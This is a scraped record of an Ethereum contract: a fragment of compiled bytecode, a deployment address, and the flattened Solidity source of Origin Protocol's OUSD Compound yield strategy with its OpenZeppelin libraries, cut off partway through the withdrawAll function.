17612ee5565b92169190910492915050565b600181815b80851115612c5e578160001904821115612c4457612c44612ecf565b80851615612c5157918102915b93841c9390800290612c28565b509250929050565b600061174860ff841683600082612c7f575060016112bf565b81612c8c575060006112bf565b8160018114612ca25760028114612cac57612cc8565b60019150506112bf565b60ff841115612cbd57612cbd612ecf565b50506001821b6112bf565b5060208310610133831016604e8410600b8410161715612ceb575081810a6112bf565b612cf58383612c23565b8060001904821115612d0957612d09612ecf565b029392505050565b6000816000190483118215151615612d2b57612d2b612ecf565b500290565b600082821015612d4257612d42612ecf565b500390565b600063ffffffff83811690831681811015612d6457612d64612ecf565b039392505050565b60006101808236031215612d7f57600080fd5b612d87612b1a565b612d9083612438565b8152612d9e60208401612421565b6020820152612daf60408401612421565b6040820152612dc060608401612438565b6060820152612dd160808401612438565b6080820152612de260a08401612421565b60a0820152612df360c08401612421565b60c0820152612e0460e0840161244c565b60e0820152610100612e1781850161244c565b90820152610120612e2984820161244c565b90820152610140612e3b848201612438565b90820152610160838101356001600160401b03811115612e5a57600080fd5b612e663682870161239c565b918301919091525092915050565b60005b83811015612e8f578181015183820152602001612e77565b838111156109155750506000910152565b6000600019821415612eb457612eb4612ecf565b5060010190565b600082612eca57612eca612ee5565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612f3c57600080fd5b5056fea2646970667358221220ae3e17eec4d7eaaf8b82af989fe57525f75f0c1ab255d33d3730551bb56d4ecb64736f6c63430008070033
[ 21, 4, 7, 19, 3, 9, 10, 5 ]
0xF37B4C48fd3ce4C8E7E8b2ad391a9480842F0b8E
/* * Origin Protocol * https://originprotocol.com * * Released under the MIT license * https://github.com/OriginProtocol/origin-dollar * * Copyright 2020 Origin Protocol, Inc * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/strategies/ICompound.sol pragma solidity ^0.8.0; /** * @dev Compound C Token interface * Documentation: https://compound.finance/developers/ctokens */ interface ICERC20 { /** * @notice The mint function transfers an asset into the protocol, which begins accumulating * interest based on the current Supply Rate for the asset. The user receives a quantity of * cTokens equal to the underlying tokens supplied, divided by the current Exchange Rate. * @param mintAmount The amount of the asset to be supplied, in units of the underlying asset. * @return 0 on success, otherwise an Error codes */ function mint(uint256 mintAmount) external returns (uint256); /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise an error code. */ function redeem(uint256 redeemTokens) external returns (uint256); /** * @notice The redeem underlying function converts cTokens into a specified quantity of the underlying * asset, and returns them to the user. The amount of cTokens redeemed is equal to the quantity of * underlying tokens received, divided by the current Exchange Rate. The amount redeemed must be less * than the user's Account Liquidity and the market's available liquidity. * @param redeemAmount The amount of underlying to be redeemed. * @return 0 on success, otherwise an error code. */ function redeemUnderlying(uint256 redeemAmount) external returns (uint256); /** * @notice The user's underlying balance, representing their assets in the protocol, is equal to * the user's cToken balance multiplied by the Exchange Rate. * @param owner The account to get the underlying balance of. * @return The amount of underlying currently owned by the account. */ function balanceOfUnderlying(address owner) external returns (uint256); /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() external view returns (uint256); /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256); /** * @notice Get the supply rate per block for supplying the token to Compound. */ function supplyRatePerBlock() external view returns (uint256); /** * @notice Address of the Compound Comptroller. */ function comptroller() external view returns (address); } // File: contracts/interfaces/IComptroller.sol pragma solidity ^0.8.0; interface IComptroller { /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) external; } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/utils/Initializable.sol pragma solidity ^0.8.0; abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( initializing || !initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } uint256[50] private ______gap; } // File: contracts/governance/Governable.sol pragma solidity ^0.8.0; /** * @title OUSD Governable Contract * @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change * from owner to governor and renounce methods removed. Does not use * Context.sol like Ownable.sol does for simplification. * @author Origin Protocol Inc */ contract Governable { // Storage position of the owner and pendingOwner of the contract // keccak256("OUSD.governor"); bytes32 private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a; // keccak256("OUSD.pending.governor"); bytes32 private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db; // keccak256("OUSD.reentry.status"); bytes32 private constant reentryStatusPosition = 0x53bf423e48ed90e97d02ab0ebab13b2a235a6bfbe9c321847d5c175333ac4535; // See OpenZeppelin ReentrancyGuard implementation uint256 constant _NOT_ENTERED = 1; uint256 constant _ENTERED = 2; event PendingGovernorshipTransfer( address indexed previousGovernor, address indexed newGovernor ); event GovernorshipTransferred( address indexed previousGovernor, address indexed newGovernor ); /** * @dev Initializes the contract setting the deployer as the initial Governor. */ constructor() { _setGovernor(msg.sender); emit GovernorshipTransferred(address(0), _governor()); } /** * @dev Returns the address of the current Governor. */ function governor() public view returns (address) { return _governor(); } /** * @dev Returns the address of the current Governor. */ function _governor() internal view returns (address governorOut) { bytes32 position = governorPosition; assembly { governorOut := sload(position) } } /** * @dev Returns the address of the pending Governor. */ function _pendingGovernor() internal view returns (address pendingGovernor) { bytes32 position = pendingGovernorPosition; assembly { pendingGovernor := sload(position) } } /** * @dev Throws if called by any account other than the Governor. */ modifier onlyGovernor() { require(isGovernor(), "Caller is not the Governor"); _; } /** * @dev Returns true if the caller is the current Governor. */ function isGovernor() public view returns (bool) { return msg.sender == _governor(); } function _setGovernor(address newGovernor) internal { bytes32 position = governorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { bytes32 position = reentryStatusPosition; uint256 _reentry_status; assembly { _reentry_status := sload(position) } // On the first call to nonReentrant, _notEntered will be true require(_reentry_status != _ENTERED, "Reentrant call"); // Any calls to nonReentrant after this point will fail assembly { sstore(position, _ENTERED) } _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) assembly { sstore(position, _NOT_ENTERED) } } function _setPendingGovernor(address newGovernor) internal { bytes32 position = pendingGovernorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Transfers Governance of the contract to a new account (`newGovernor`). * Can only be called by the current Governor. Must be claimed for this to complete * @param _newGovernor Address of the new Governor */ function transferGovernance(address _newGovernor) external onlyGovernor { _setPendingGovernor(_newGovernor); emit PendingGovernorshipTransfer(_governor(), _newGovernor); } /** * @dev Claim Governance of the contract to a new account (`newGovernor`). * Can only be called by the new Governor. */ function claimGovernance() external { require( msg.sender == _pendingGovernor(), "Only the pending Governor can complete the claim" ); _changeGovernor(msg.sender); } /** * @dev Change Governance of the contract to a new account (`newGovernor`). * @param _newGovernor Address of the new Governor */ function _changeGovernor(address _newGovernor) internal { require(_newGovernor != address(0), "New Governor is address(0)"); emit GovernorshipTransferred(_governor(), _newGovernor); _setGovernor(_newGovernor); } } // File: contracts/utils/InitializableAbstractStrategy.sol pragma solidity ^0.8.0; abstract contract InitializableAbstractStrategy is Initializable, Governable { using SafeERC20 for IERC20; using SafeMath for uint256; event PTokenAdded(address indexed _asset, address _pToken); event PTokenRemoved(address indexed _asset, address _pToken); event Deposit(address indexed _asset, address _pToken, uint256 _amount); event Withdrawal(address indexed _asset, address _pToken, uint256 _amount); event RewardTokenCollected(address recipient, uint256 amount); event RewardTokenAddressUpdated(address _oldAddress, address _newAddress); event RewardLiquidationThresholdUpdated( uint256 _oldThreshold, uint256 _newThreshold ); // Core address for the given platform address public platformAddress; address public vaultAddress; // asset => pToken (Platform Specific Token Address) mapping(address => address) public assetToPToken; // Full list of all assets supported here address[] internal assetsMapped; // Reward token address address public rewardTokenAddress; uint256 public rewardLiquidationThreshold; // Reserved for future expansion int256[100] private _reserved; /** * @dev Internal initialize function, to set up initial internal state * @param _platformAddress Generic platform address * @param _vaultAddress Address of the Vault * @param _rewardTokenAddress Address of reward token for platform * @param _assets Addresses of initial supported assets * @param _pTokens Platform Token corresponding addresses */ function initialize( address _platformAddress, address _vaultAddress, address _rewardTokenAddress, address[] calldata _assets, address[] calldata _pTokens ) external onlyGovernor initializer { InitializableAbstractStrategy._initialize( _platformAddress, _vaultAddress, _rewardTokenAddress, _assets, _pTokens ); } function _initialize( address _platformAddress, address _vaultAddress, address _rewardTokenAddress, address[] memory _assets, address[] memory _pTokens ) internal { platformAddress = _platformAddress; vaultAddress = _vaultAddress; rewardTokenAddress = _rewardTokenAddress; uint256 assetCount = _assets.length; require(assetCount == _pTokens.length, "Invalid input arrays"); for (uint256 i = 0; i < assetCount; i++) { _setPTokenAddress(_assets[i], _pTokens[i]); } } /** * @dev Collect accumulated reward token and send to Vault. */ function collectRewardToken() external virtual onlyVault nonReentrant { IERC20 rewardToken = IERC20(rewardTokenAddress); uint256 balance = rewardToken.balanceOf(address(this)); emit RewardTokenCollected(vaultAddress, balance); rewardToken.safeTransfer(vaultAddress, balance); } /** * @dev Verifies that the caller is the Vault. */ modifier onlyVault() { require(msg.sender == vaultAddress, "Caller is not the Vault"); _; } /** * @dev Verifies that the caller is the Vault or Governor. */ modifier onlyVaultOrGovernor() { require( msg.sender == vaultAddress || msg.sender == governor(), "Caller is not the Vault or Governor" ); _; } /** * @dev Set the reward token address. * @param _rewardTokenAddress Address of the reward token */ function setRewardTokenAddress(address _rewardTokenAddress) external onlyGovernor { emit RewardTokenAddressUpdated(rewardTokenAddress, _rewardTokenAddress); rewardTokenAddress = _rewardTokenAddress; } /** * @dev Set the reward token liquidation threshold. * @param _threshold Threshold amount in decimals of reward token that will * cause the Vault to claim and withdrawAll on allocate() calls. */ function setRewardLiquidationThreshold(uint256 _threshold) external onlyGovernor { emit RewardLiquidationThresholdUpdated( rewardLiquidationThreshold, _threshold ); rewardLiquidationThreshold = _threshold; } /** * @dev Provide support for asset by passing its pToken address. * This method can only be called by the system Governor * @param _asset Address for the asset * @param _pToken Address for the corresponding platform token */ function setPTokenAddress(address _asset, address _pToken) external onlyGovernor { _setPTokenAddress(_asset, _pToken); } /** * @dev Remove a supported asset by passing its index. * This method can only be called by the system Governor * @param _assetIndex Index of the asset to be removed */ function removePToken(uint256 _assetIndex) external onlyGovernor { require(_assetIndex < assetsMapped.length, "Invalid index"); address asset = assetsMapped[_assetIndex]; address pToken = assetToPToken[asset]; if (_assetIndex < assetsMapped.length - 1) { assetsMapped[_assetIndex] = assetsMapped[assetsMapped.length - 1]; } assetsMapped.pop(); assetToPToken[asset] = address(0); emit PTokenRemoved(asset, pToken); } /** * @dev Provide support for asset by passing its pToken address. * Add to internal mappings and execute the platform specific, * abstract method `_abstractSetPToken` * @param _asset Address for the asset * @param _pToken Address for the corresponding platform token */ function _setPTokenAddress(address _asset, address _pToken) internal { require(assetToPToken[_asset] == address(0), "pToken already set"); require( _asset != address(0) && _pToken != address(0), "Invalid addresses" ); assetToPToken[_asset] = _pToken; assetsMapped.push(_asset); emit PTokenAdded(_asset, _pToken); _abstractSetPToken(_asset, _pToken); } /** * @dev Transfer token to governor. Intended for recovering tokens stuck in * strategy contracts, i.e. mistaken sends. * @param _asset Address for the asset * @param _amount Amount of the asset to transfer */ function transferToken(address _asset, uint256 _amount) public onlyGovernor { IERC20(_asset).safeTransfer(governor(), _amount); } /*************************************** Abstract ****************************************/ function _abstractSetPToken(address _asset, address _pToken) internal virtual; function safeApproveAllTokens() external virtual; /** * @dev Deposit an amount of asset into the platform * @param _asset Address for the asset * @param _amount Units of asset to deposit */ function deposit(address _asset, uint256 _amount) external virtual; /** * @dev Deposit balance of all supported assets into the platform */ function depositAll() external virtual; /** * @dev Withdraw an amount of asset from the platform. * @param _recipient Address to which the asset should be sent * @param _asset Address of the asset * @param _amount Units of asset to withdraw */ function withdraw( address _recipient, address _asset, uint256 _amount ) external virtual; /** * @dev Withdraw all assets from strategy sending assets to Vault. */ function withdrawAll() external virtual; /** * @dev Get the total asset value held in the platform. * This includes any interest that was generated since depositing. * @param _asset Address of the asset * @return balance Total value of the asset in the platform */ function checkBalance(address _asset) external view virtual returns (uint256 balance); /** * @dev Check if an asset is supported. * @param _asset Address of the asset * @return bool Whether asset is supported */ function supportsAsset(address _asset) external view virtual returns (bool); } // File: contracts/strategies/CompoundStrategy.sol pragma solidity ^0.8.0; /** * @title OUSD Compound Strategy * @notice Investment strategy for investing stablecoins via Compound * @author Origin Protocol Inc */ contract CompoundStrategy is InitializableAbstractStrategy { using SafeERC20 for IERC20; event SkippedWithdrawal(address asset, uint256 amount); /** * @dev Collect accumulated COMP and send to Vault. */ function collectRewardToken() external override onlyVault nonReentrant { // Claim COMP from Comptroller ICERC20 cToken = _getCTokenFor(assetsMapped[0]); IComptroller comptroller = IComptroller(cToken.comptroller()); comptroller.claimComp(address(this)); // Transfer COMP to Vault IERC20 rewardToken = IERC20(rewardTokenAddress); uint256 balance = rewardToken.balanceOf(address(this)); emit RewardTokenCollected(vaultAddress, balance); rewardToken.safeTransfer(vaultAddress, balance); } /** * @dev Deposit asset into Compound * @param _asset Address of asset to deposit * @param _amount Amount of asset to deposit */ function deposit(address _asset, uint256 _amount) external override onlyVault nonReentrant { _deposit(_asset, _amount); } /** * @dev Deposit asset into Compound * @param _asset Address of asset to deposit * @param _amount Amount of asset to deposit */ function _deposit(address _asset, uint256 _amount) internal { require(_amount > 0, "Must deposit something"); ICERC20 cToken = _getCTokenFor(_asset); emit Deposit(_asset, address(cToken), _amount); require(cToken.mint(_amount) == 0, "cToken mint failed"); } /** * @dev Deposit the entire balance of any supported asset into Compound */ function depositAll() external override onlyVault nonReentrant { for (uint256 i = 0; i < assetsMapped.length; i++) { uint256 balance = IERC20(assetsMapped[i]).balanceOf(address(this)); if (balance > 0) { _deposit(assetsMapped[i], balance); } } } /** * @dev Withdraw asset from Compound * @param _recipient Address to receive withdrawn asset * @param _asset Address of asset to withdraw * @param _amount Amount of asset to withdraw */ function withdraw( address _recipient, address _asset, uint256 _amount ) external override onlyVault nonReentrant { require(_amount > 0, "Must withdraw something"); require(_recipient != address(0), "Must specify recipient"); emit Withdrawal(_asset, address(assetToPToken[_asset]), _amount); ICERC20 cToken = _getCTokenFor(_asset); // If redeeming 0 cTokens, just skip, else COMP will revert uint256 cTokensToRedeem = _convertUnderlyingToCToken(cToken, _amount); if (cTokensToRedeem == 0) { emit SkippedWithdrawal(_asset, _amount); return; } emit Withdrawal(_asset, address(cToken), _amount); require(cToken.redeemUnderlying(_amount) == 0, "Redeem failed"); IERC20(_asset).safeTransfer(_recipient, _amount); } /** * @dev Remove all assets from platform and send them to Vault contract. */ function withdrawAll() external override onlyVaultOrGovernor nonReentrant { for (uint256 i = 0; i < assetsMapped.length; i++) { // Redeem entire balance of cToken ICERC20 cToken = _getCTokenFor(assetsMapped[i]); if (cToken.balanceOf(address(this)) > 0) { require( cToken.redeem(cToken.balanceOf(address(this))) == 0, "Redeem failed" ); // Transfer entire balance to Vault IERC20 asset = IERC20(assetsMapped[i]); asset.safeTransfer( 